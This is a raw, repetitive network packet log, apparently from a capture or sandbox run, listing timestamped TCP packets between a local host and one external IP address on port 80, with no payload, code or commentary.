Oct 28, 2024 23:47:23.439711094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.439754009 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.439805031 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.439976931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440001011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440015078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440032005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440063000 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.440107107 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.440121889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440136909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440151930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440166950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440184116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440187931 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.440248013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.440407991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440423012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440438986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440479040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.440481901 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.440484047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440500021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440515041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440530062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440546036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440560102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440586090 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.440586090 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.440638065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.440916061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440939903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.440995932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.441010952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.441015959 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.441028118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.441054106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.441068888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.441083908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.441087961 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.441101074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.441103935 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.441114902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.441147089 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.441226959 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.482471943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.482487917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.482615948 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.483032942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.483047009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.483078003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.483117104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.483139038 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.483191013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.503397942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.503413916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.503429890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.503447056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.503511906 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.503583908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.503925085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.503966093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.503973961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.503998995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504014969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504034996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504036903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.504036903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.504082918 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.504504919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504532099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504548073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504585981 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.504626989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504652977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504667997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504724979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.504724979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.504733086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504753113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504800081 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.504827976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504846096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504864931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504880905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.504920006 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.504920006 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.505050898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.505065918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.505080938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.505132914 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.505300999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.505402088 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.505424976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.505438089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.505459070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.505495071 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.545591116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545612097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545643091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545665979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.545665979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545685053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545701027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545717001 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545717955 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.545732975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545748949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545748949 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.545766115 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545821905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.545821905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.545922995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545942068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.545999050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.546001911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.546015978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.546036005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.546053886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.546067953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.546106100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.546212912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.546228886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.546245098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.546262980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.546312094 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.557224035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.557244062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.557260036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.557337999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558017015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558032036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558047056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558114052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558128119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558136940 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558136940 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558168888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558185101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558185101 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558201075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558217049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558264017 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558264017 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558355093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558428049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558450937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558468103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558484077 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558484077 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558521032 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558676004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558734894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558749914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558764935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558779955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558801889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558801889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558825016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558867931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558882952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558897972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558955908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.558965921 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558980942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.558998108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559072971 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.559072971 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.559221029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559245110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559274912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559292078 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.559386015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559401989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559449911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.559474945 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559489012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559504032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559536934 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.559554100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.559590101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559604883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559619904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559649944 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559664965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559680939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559689045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559694052 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.559694052 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.559700966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559717894 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559734106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559750080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.559751987 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.559751987 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.559804916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.560204029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.560306072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.560350895 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.602210045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.602231979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.602241993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.602478981 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.622306108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.622383118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.622400045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.622416019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.622519970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.622519970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.623159885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623189926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623208046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623234034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623250961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623266935 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.623322964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.623641968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623658895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623673916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623689890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623706102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623713970 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.623719931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623748064 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.623773098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623788118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623791933 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.623802900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623819113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623835087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623851061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623878956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.623878956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.623878956 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.623961926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623977900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.623994112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.624032974 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.624102116 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.624329090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.624363899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.624381065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.624397993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.624416113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.624417067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.624454021 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.624480009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.624533892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.664556026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664585114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664599895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664607048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664622068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664638996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664654970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664661884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664669991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664752007 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.664752007 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.664782047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664798975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664853096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.664901972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664926052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664943933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.664987087 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.664987087 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.665028095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.665044069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.665057898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.665081978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.665117979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.665138960 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.676141977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.676179886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.676196098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.676211119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.676243067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.676362038 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.676907063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.676920891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.676934004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.676949978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677004099 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677031040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677048922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677064896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677079916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677130938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677130938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677145958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677166939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677181959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677201033 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677241087 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677361965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677376986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677392006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677407980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677509069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677512884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677512884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677525043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677541018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677556992 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677606106 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677699089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677721977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677738905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677762985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677778006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677786112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677793980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677809000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677824020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677828074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677828074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677839041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677856922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.677881002 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.677881002 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.678359985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678375959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678390026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678464890 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.678464890 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.678503036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678519011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678534031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678550005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678611040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.678611040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.678662062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678694010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678719044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678735018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678750992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678772926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678785086 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.678790092 CET	80	49740	185.215.113.16	192.168.2.4
